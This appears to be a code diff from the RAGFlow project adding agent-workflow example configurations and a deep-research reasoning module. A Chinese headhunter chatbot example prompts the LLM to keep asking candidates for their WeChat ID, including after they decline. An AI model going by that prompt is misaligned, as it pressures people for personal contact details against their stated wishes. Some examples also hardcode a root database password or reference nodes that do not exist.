+                    "component_name": "ExeSQL",
+                    "params": {
+                                    "database": "rag_flow",
+                                    "username": "root",
+                                    "host": "mysql",
+                                    "port": 3306,
+                                    "password": "infini_rag_flow",
+				    "top_n": 3
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["answer:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}
+

agent/test/dsl_examples/headhunter_zh.json

@@ -0,0 +1,210 @@
+{
+  "components": {
+    "begin": {
+      "obj": {
+        "component_name": "Begin",
+        "params": {
+          "prologue": "您好！我是AGI方向的猎头，了解到您是这方面的大佬，然后冒昧的就联系到您。这边有个机会想和您分享，RAGFlow正在招聘您这个岗位的资深的工程师不知道您那边是不是感兴趣？"
+        }
+      },
+      "downstream": ["answer:0"],
+      "upstream": []
+    },
+    "answer:0": {
+      "obj": {
+        "component_name": "Answer",
+        "params": {}
+      },
+      "downstream": ["categorize:0"],
+      "upstream": ["begin", "message:reject"]
+    },
+    "categorize:0": {
+      "obj": {
+        "component_name": "Categorize",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "category_description": {
+            "about_job": {
+              "description": "该问题关于职位本身或公司的信息。",
+              "examples": "什么岗位？\n汇报对象是谁?\n公司多少人？\n公司有啥产品？\n具体工作内容是啥？\n地点哪里？\n双休吗？",
+              "to": "retrieval:0"
+            },
+            "casual": {
+              "description": "该问题不关于职位本身或公司的信息，属于闲聊。",
+              "examples": "你好\n好久不见\n你男的女的？\n你是猴子派来的救兵吗？\n上午开会了?\n你叫啥？\n最近市场如何?生意好做吗？",
+              "to": "generate:casual"
+            },
+            "interested": {
+              "description": "该回答表示他对于该职位感兴趣。",
+              "examples": "嗯\n说吧\n说说看\n还好吧\n是的\n哦\nyes\n具体说说",
+              "to": "message:introduction"
+            },
+            "answer": {
+              "description": "该回答表示他对于该职位不感兴趣，或感觉受到骚扰。",
+              "examples": "不需要\n不感兴趣\n暂时不看\n不要\nno\n我已经不干这个了\n我不是这个方向的",
+              "to": "message:reject"
+            }
+          }
+        }
+      },
+      "downstream": [
+        "message:introduction",
+        "generate:casual",
+        "message:reject",
+        "retrieval:0"
+      ],
+      "upstream": ["answer:0"]
+    },
+    "message:introduction": {
+      "obj": {
+        "component_name": "Message",
+        "params": {
+          "messages": [
+            "我简单介绍以下：\nRAGFlow 是一款基于深度文档理解构建的开源 RAG（Retrieval-Augmented Generation）引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程，结合大语言模型（LLM）针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。https://github.com/infiniflow/ragflow\n您那边还有什么要了解的？"
+          ]
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["categorize:0"]
+    },
+    "answer:1": {
+      "obj": {
+        "component_name": "Answer",
+        "params": {}
+      },
+      "downstream": ["categorize:1"],
+      "upstream": [
+        "message:introduction",
+        "generate:aboutJob",
+        "generate:casual",
+        "generate:get_wechat",
+        "generate:nowechat"
+      ]
+    },
+    "categorize:1": {
+      "obj": {
+        "component_name": "Categorize",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "category_description": {
+            "about_job": {
+              "description": "该问题关于职位本身或公司的信息。",
+              "examples": "什么岗位？\n汇报对象是谁?\n公司多少人？\n公司有啥产品？\n具体工作内容是啥？\n地点哪里？\n双休吗？",
+              "to": "retrieval:0"
+            },
+            "casual": {
+              "description": "该问题不关于职位本身或公司的信息，属于闲聊。",
+              "examples": "你好\n好久不见\n你男的女的？\n你是猴子派来的救兵吗？\n上午开会了?\n你叫啥？\n最近市场如何?生意好做吗？",
+              "to": "generate:casual"
+            },
+            "wechat": {
+              "description": "该回答表示他愿意加微信,或者已经报了微信号。",
+              "examples": "嗯\n可以\n是的\n哦\nyes\n15002333453\nwindblow_2231",
+              "to": "generate:get_wechat"
+            },
+            "giveup": {
+              "description": "该回答表示他不愿意加微信。",
+              "examples": "不需要\n不感兴趣\n暂时不看\n不要\nno\n不方便\n不知道还要加我微信",
+              "to": "generate:nowechat"
+            }
+          },
+          "message_history_window_size": 8
+        }
+      },
+      "downstream": [
+        "retrieval:0",
+        "generate:casual",
+        "generate:get_wechat",
+        "generate:nowechat"
+      ],
+      "upstream": ["answer:1"]
+    },
+    "generate:casual": {
+      "obj": {
+        "component_name": "Generate",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "prompt": "你是AGI方向的猎头，现在候选人的聊了和职位无关的话题，请耐心的回应候选人，并将话题往该AGI的职位上带，最好能要到候选人微信号以便后面保持联系。",
+          "temperature": 0.9,
+          "message_history_window_size": 12,
+          "cite": false
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["categorize:0", "categorize:1"]
+    },
+    "retrieval:0": {
+      "obj": {
+        "component_name": "Retrieval",
+        "params": {
+          "similarity_threshold": 0.2,
+          "keywords_similarity_weight": 0.3,
+          "top_n": 6,
+          "top_k": 1024,
+          "rerank_id": "BAAI/bge-reranker-v2-m3",
+          "kb_ids": ["869a236818b811ef91dffa163e197198"]
+        }
+      },
+      "downstream": ["generate:aboutJob"],
+      "upstream": ["categorize:0", "categorize:1"]
+    },
+    "generate:aboutJob": {
+      "obj": {
+        "component_name": "Generate",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "prompt": "你是AGI方向的猎头，候选人问了有关职位或公司的问题，你根据以下职位信息回答。如果职位信息中不包含候选人的问题就回答不清楚、不知道、有待确认等。回答完后引导候选人加微信号，如：\n - 方便加一下微信吗，我把JD发您看看？\n  - 微信号多少，我把详细职位JD发您？\n      职位信息如下:\n      {input}\n      职位信息如上。",
+          "temperature": 0.02
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["retrieval:0"]
+    },
+    "generate:get_wechat": {
+      "obj": {
+        "component_name": "Generate",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "prompt": "你是AGI方向的猎头，候选人表示不反感加微信，如果对方已经报了微信号，表示感谢和信任并表示马上会加上；如果没有，则问对方微信号多少。你的微信号是weixin_kevin，E-mail是kkk@ragflow.com。说话不要重复。不要总是您好。",
+          "temperature": 0.1,
+          "message_history_window_size": 12,
+          "cite": false
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["categorize:1"]
+    },
+    "generate:nowechat": {
+      "obj": {
+        "component_name": "Generate",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "prompt": "你是AGI方向的猎头，当你提出加微信时对方表示拒绝。你需要耐心礼貌的回应候选人，表示对于保护隐私信息给予理解，也可以询问他对该职位的看法和顾虑。并在恰当的时机再次询问微信联系方式。也可以鼓励候选人主动与你取得联系。你的微信号是weixin_kevin，E-mail是kkk@ragflow.com。说话不要重复。不要总是您好。",
+          "temperature": 0.1,
+          "message_history_window_size": 12,
+          "cite": false
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["categorize:1"]
+    },
+    "message:reject": {
+      "obj": {
+        "component_name": "Message",
+        "params": {
+          "messages": [
+            "好的，祝您生活愉快，工作顺利。",
+            "哦，好的，感谢您宝贵的时间！"
+          ]
+        }
+      },
+      "downstream": ["answer:0"],
+      "upstream": ["categorize:0"]
+    }
+  },
+  "history": [],
+  "messages": [],
+  "path": [],
+  "reference": [],
+  "answer": []
+}

agent/test/dsl_examples/intergreper.json

@@ -0,0 +1,39 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there! Please enter the text you want to translate in format like: 'text you want to translate' => target language. For an example: 您好！ => English"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["begin", "generate:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an professional interpreter.\n- Role: an professional interpreter.\n- Input format: content need to be translated => target language. \n- Answer format: => translated content in target language. \n- Examples:\n  - user: 您好！ => English. assistant: => How are you doing!\n  - user: You look good today. => Japanese. assistant: => 今日は調子がいいですね 。\n",
+                      "temperature": 0.5
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["answer:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/interpreter.json

@@ -0,0 +1,39 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there! Please enter the text you want to translate in format like: 'text you want to translate' => target language. For an example: 您好！ => English"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["begin", "generate:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an professional interpreter.\n- Role: an professional interpreter.\n- Input format: content need to be translated => target language. \n- Answer format: => translated content in target language. \n- Examples:\n  - user: 您好！ => English. assistant: => How are you doing!\n  - user: You look good today. => Japanese. assistant: => 今日は調子がいいですね 。\n",
+                      "temperature": 0.5
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["answer:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/keyword_wikipedia_and_generate.json

@@ -0,0 +1,62 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["keyword:0"],
+                "upstream": ["begin"]
+            },
+            "keyword:0": {
+                "obj": {
+                    "component_name": "KeywordExtract",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "- Role: You're a question analyzer.\n    - Requirements:\n     - Summarize user's question, and give top %s important keyword/phrase.\n    - Use comma as a delimiter to separate keywords/phrases.\n    - Answer format: (in language of user's question)\n    - keyword: ",
+                      "temperature": 0.2,
+                      "top_n": 1
+                    }
+                },
+                "downstream": ["wikipedia:0"],
+                "upstream": ["answer:0"]
+            },
+            "wikipedia:0": {
+                "obj":{
+                    "component_name": "Wikipedia",
+                    "params": {
+                      "top_n": 10
+                    }
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["keyword:0"]
+            },
+            "generate:1": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content from Wikipedia. When the answer from Wikipedia is incomplete, you need to output the URL link of the corresponding content as well. When all the content searched from Wikipedia is irrelevant to the question, your answer must include the sentence, \"The answer you are looking for is not found in the Wikipedia!\". Answers need to consider chat history.\n       The content of Wikipedia is as follows:\n    {input}\n     The above is the content of Wikipedia.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["wikipedia:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "messages": [],
+  "reference": {},
+  "answer": []
+}

agent/test/dsl_examples/retrieval_and_generate.json

@@ -0,0 +1,54 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["begin", "generate:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
+                    }
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["answer:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {input}\n      The above is the knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["retrieval:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/retrieval_categorize_and_generate.json

@@ -0,0 +1,88 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["categorize:0"],
+                "upstream": ["begin", "generate:0", "switch:0"]
+            },
+            "categorize:0": {
+                "obj": {
+                    "component_name": "Categorize",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "category_description": {
+                        "product_related": {
+                          "description": "The question is about the product usage, appearance and how it works.",
+                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?",
+                          "to": "retrieval:0"
+                        },
+                        "others": {
+                          "description": "The question is not about the product usage, appearance and how it works.",
+                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
+                          "to": "message:0"
+                        }
+                      }
+                    }
+                },
+                "downstream": ["retrieval:0", "message:0"],
+                "upstream": ["answer:0"]
+            },
+            "message:0": {
+                "obj":{
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Sorry, I don't know. I'm an AI bot."
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
+                    }
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["switch:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {input}\n      The above is the knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["retrieval:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/retrieval_relevant_and_generate.json

@@ -0,0 +1,82 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["begin", "generate:0", "switch:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"],
+                      "empty_response": "Sorry, knowledge base has noting related information."
+                    }
+                },
+                "downstream": ["relevant:0"],
+                "upstream": ["answer:0"]
+            },
+            "relevant:0": {
+                "obj": {
+                    "component_name": "Relevant",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.02,
+                      "yes": "generate:0",
+                      "no": "message:0"
+                    }
+                },
+                "downstream": ["message:0", "generate:0"],
+                "upstream": ["retrieval:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "message:0": {
+                "obj":{
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Sorry, I don't know. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?",
+                        "I'm an AI bot and not quite sure about this question. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?",
+                        "Can't find answer in my knowledge base. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "messages": [],
+  "reference": {},
+  "answer": []
+}

agent/test/dsl_examples/retrieval_relevant_keyword_baidu_and_generate.json

@@ -0,0 +1,103 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["begin"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["21ca4e6a2c8911ef8b1e0242ac120006"],
+                      "empty_response": "Sorry, knowledge base has noting related information."
+                    }
+                },
+                "downstream": ["relevant:0"],
+                "upstream": ["answer:0"]
+            },
+            "relevant:0": {
+                "obj": {
+                    "component_name": "Relevant",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.02,
+                      "yes": "generate:0",
+                      "no": "keyword:0"
+                    }
+                },
+                "downstream": ["keyword:0", "generate:0"],
+                "upstream": ["retrieval:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "keyword:0": {
+                "obj": {
+                    "component_name": "KeywordExtract",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "- Role: You're a question analyzer.\n    - Requirements:\n     - Summarize user's question, and give top %s important keyword/phrase.\n    - Use comma as a delimiter to separate keywords/phrases.\n    - Answer format: (in language of user's question)\n    - keyword: ",
+                      "temperature": 0.2,
+                      "top_n": 1
+                    }
+                },
+                "downstream": ["baidu:0"],
+                "upstream": ["relevant:0"]
+            },
+            "baidu:0": {
+                "obj":{
+                    "component_name": "Baidu",
+                    "params": {
+                      "top_n": 10
+                    }
+                },
+                "downstream": ["generate:1"],
+                "upstream": ["keyword:0"]
+            },
+            "generate:1": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content searched from Baidu. When the answer from a Baidu search is incomplete, you need to output the URL link of the corresponding content as well. When all the content searched from Baidu is irrelevant to the question, your answer must include the sentence, \"The answer you are looking for is not found in the Baidu search!\". Answers need to consider chat history.\n       The content of Baidu search is as follows:\n    {input}\n     The above is the content of Baidu search.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["baidu:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "messages": [],
+  "reference": {},
+  "answer": []
+}

agent/test/dsl_examples/retrieval_relevant_rewrite_and_generate.json

@@ -0,0 +1,79 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["begin", "generate:0", "switch:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"],
+                      "empty_response": "Sorry, knowledge base has noting related information."
+                    }
+                },
+                "downstream": ["relevant:0"],
+                "upstream": ["answer:0", "rewrite:0"]
+            },
+            "relevant:0": {
+                "obj": {
+                    "component_name": "Relevant",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.02,
+                      "yes": "generate:0",
+                      "no": "rewrite:0"
+                    }
+                },
+                "downstream": ["generate:0", "rewrite:0"],
+                "upstream": ["retrieval:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
+                      "temperature": 0.02
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "rewrite:0": {
+                "obj":{
+                    "component_name": "RewriteQuestion",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.8
+                    }
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["relevant:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "path": [],
+  "reference": [],
+  "answer": []
+}

agentic_reasoning/__init__.py

@@ -0,0 +1 @@
+from .deep_research import DeepResearcher as DeepResearcher

agentic_reasoning/deep_research.py

@@ -0,0 +1,167 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+import re
+from functools import partial
+from agentic_reasoning.prompts import BEGIN_SEARCH_QUERY, BEGIN_SEARCH_RESULT, END_SEARCH_RESULT, MAX_SEARCH_LIMIT, \
+    END_SEARCH_QUERY, REASON_PROMPT, RELEVANT_EXTRACTION_PROMPT
+from api.db.services.llm_service import LLMBundle
+from rag.nlp import extract_between
+from rag.prompts import kb_prompt
+from rag.utils.tavily_conn import Tavily
+
+
+class DeepResearcher:
+    def __init__(self,
+                 chat_mdl: LLMBundle,
+                 prompt_config: dict,
+                 kb_retrieve: partial = None,
+                 kg_retrieve: partial = None
+                 ):
+        self.chat_mdl = chat_mdl
+        self.prompt_config = prompt_config
+        self._kb_retrieve = kb_retrieve
+        self._kg_retrieve = kg_retrieve
+
+    def thinking(self, chunk_info: dict, question: str):
+        def rm_query_tags(line):
+            pattern = re.escape(BEGIN_SEARCH_QUERY) + r"(.*?)" + re.escape(END_SEARCH_QUERY)
+            return re.sub(pattern, "", line)
+
+        def rm_result_tags(line):
+            pattern = re.escape(BEGIN_SEARCH_RESULT) + r"(.*?)" + re.escape(END_SEARCH_RESULT)
+            return re.sub(pattern, "", line)
+
+        executed_search_queries = []
+        msg_hisotry = [{"role": "user", "content": f'Question:\"{question}\"\n'}]
+        all_reasoning_steps = []
+        think = "<think>"
+        for ii in range(MAX_SEARCH_LIMIT + 1):
+            if ii == MAX_SEARCH_LIMIT - 1:
+                summary_think = f"\n{BEGIN_SEARCH_RESULT}\nThe maximum search limit is exceeded. You are not allowed to search.\n{END_SEARCH_RESULT}\n"
+                yield {"answer": think + summary_think + "</think>", "reference": {}, "audio_binary": None}
+                all_reasoning_steps.append(summary_think)
+                msg_hisotry.append({"role": "assistant", "content": summary_think})
+                break
+
+            query_think = ""
+            if msg_hisotry[-1]["role"] != "user":
+                msg_hisotry.append({"role": "user", "content": "Continues reasoning with the new information.\n"})
+            else:
+                msg_hisotry[-1]["content"] += "\n\nContinues reasoning with the new information.\n"
+            for ans in self.chat_mdl.chat_streamly(REASON_PROMPT, msg_hisotry, {"temperature": 0.7}):
+                ans = re.sub(r"<think>.*</think>", "", ans, flags=re.DOTALL)
+                if not ans:
+                    continue
+                query_think = ans
+                yield {"answer": think + rm_query_tags(query_think) + "</think>", "reference": {}, "audio_binary": None}
+
+            think += rm_query_tags(query_think)
+            all_reasoning_steps.append(query_think)
+            queries = extract_between(query_think, BEGIN_SEARCH_QUERY, END_SEARCH_QUERY)
+            if not queries:
+                if ii > 0:
+                    break
+                queries = [question]
+
+            for search_query in queries:
+                logging.info(f"[THINK]Query: {ii}. {search_query}")
+                msg_hisotry.append({"role": "assistant", "content": search_query})
+                think += f"\n\n> {ii +1}. {search_query}\n\n"
+                yield {"answer": think + "</think>", "reference": {}, "audio_binary": None}
+
+                summary_think = ""
+                # The search query has been searched in previous steps.
+                if search_query in executed_search_queries:
+                    summary_think = f"\n{BEGIN_SEARCH_RESULT}\nYou have searched this query. Please refer to previous results.\n{END_SEARCH_RESULT}\n"
+                    yield {"answer": think + summary_think + "</think>", "reference": {}, "audio_binary": None}
+                    all_reasoning_steps.append(summary_think)
+                    msg_hisotry.append({"role": "user", "content": summary_think})
+                    think += summary_think
+                    continue
+
+                truncated_prev_reasoning = ""
+                for i, step in enumerate(all_reasoning_steps):
+                    truncated_prev_reasoning += f"Step {i + 1}: {step}\n\n"
+
+                prev_steps = truncated_prev_reasoning.split('\n\n')
+                if len(prev_steps) <= 5:
+                    truncated_prev_reasoning = '\n\n'.join(prev_steps)
+                else:
+                    truncated_prev_reasoning = ''
+                    for i, step in enumerate(prev_steps):
+                        if i == 0 or i >= len(prev_steps) - 4 or BEGIN_SEARCH_QUERY in step or BEGIN_SEARCH_RESULT in step:
+                            truncated_prev_reasoning += step + '\n\n'
+                        else:
+                            if truncated_prev_reasoning[-len('\n\n...\n\n'):] != '\n\n...\n\n':
+                                truncated_prev_reasoning += '...\n\n'
+                truncated_prev_reasoning = truncated_prev_reasoning.strip('\n')
+
+                # Retrieval procedure:
+                # 1. KB search
+                # 2. Web search (optional)
+                # 3. KG search (optional)
+                kbinfos = self._kb_retrieve(question=search_query) if self._kb_retrieve else {"chunks": [], "doc_aggs": []}
+
+                if self.prompt_config.get("tavily_api_key"):
+                    tav = Tavily(self.prompt_config["tavily_api_key"])
+                    tav_res = tav.retrieve_chunks(" ".join(search_query))
+                    kbinfos["chunks"].extend(tav_res["chunks"])
+                    kbinfos["doc_aggs"].extend(tav_res["doc_aggs"])
+                if self.prompt_config.get("use_kg") and self._kg_retrieve:
+                    ck = self._kg_retrieve(question=search_query)
+                    if ck["content_with_weight"]:
+                        kbinfos["chunks"].insert(0, ck)
+
+                # Merge chunk info for citations
+                if not chunk_info["chunks"]:
+                    for k in chunk_info.keys():
+                        chunk_info[k] = kbinfos[k]
+                else:
+                    cids = [c["chunk_id"] for c in chunk_info["chunks"]]
+                    for c in kbinfos["chunks"]:
+                        if c["chunk_id"] in cids:
+                            continue
+                        chunk_info["chunks"].append(c)
+                    dids = [d["doc_id"] for d in chunk_info["doc_aggs"]]
+                    for d in kbinfos["doc_aggs"]:
+                        if d["doc_id"] in dids:
+                            continue
+                        chunk_info["doc_aggs"].append(d)
+
+                think += "\n\n"
+                for ans in self.chat_mdl.chat_streamly(
+                        RELEVANT_EXTRACTION_PROMPT.format(
+                            prev_reasoning=truncated_prev_reasoning,
+                            search_query=search_query,
+                            document="\n".join(kb_prompt(kbinfos, 4096))
+                        ),
+                        [{"role": "user",
+                          "content": f'Now you should analyze each web page and find helpful information based on the current search query "{search_query}" and previous reasoning steps.'}],
+                        {"temperature": 0.7}):
+                    ans = re.sub(r"<think>.*</think>", "", ans, flags=re.DOTALL)
+                    if not ans:
+                        continue
+                    summary_think = ans
+                    yield {"answer": think + rm_result_tags(summary_think) + "</think>", "reference": {}, "audio_binary": None}
+
+                all_reasoning_steps.append(summary_think)
+                msg_hisotry.append(
+                    {"role": "user", "content": f"\n\n{BEGIN_SEARCH_RESULT}{summary_think}{END_SEARCH_RESULT}\n\n"})
+                think += rm_result_tags(summary_think)
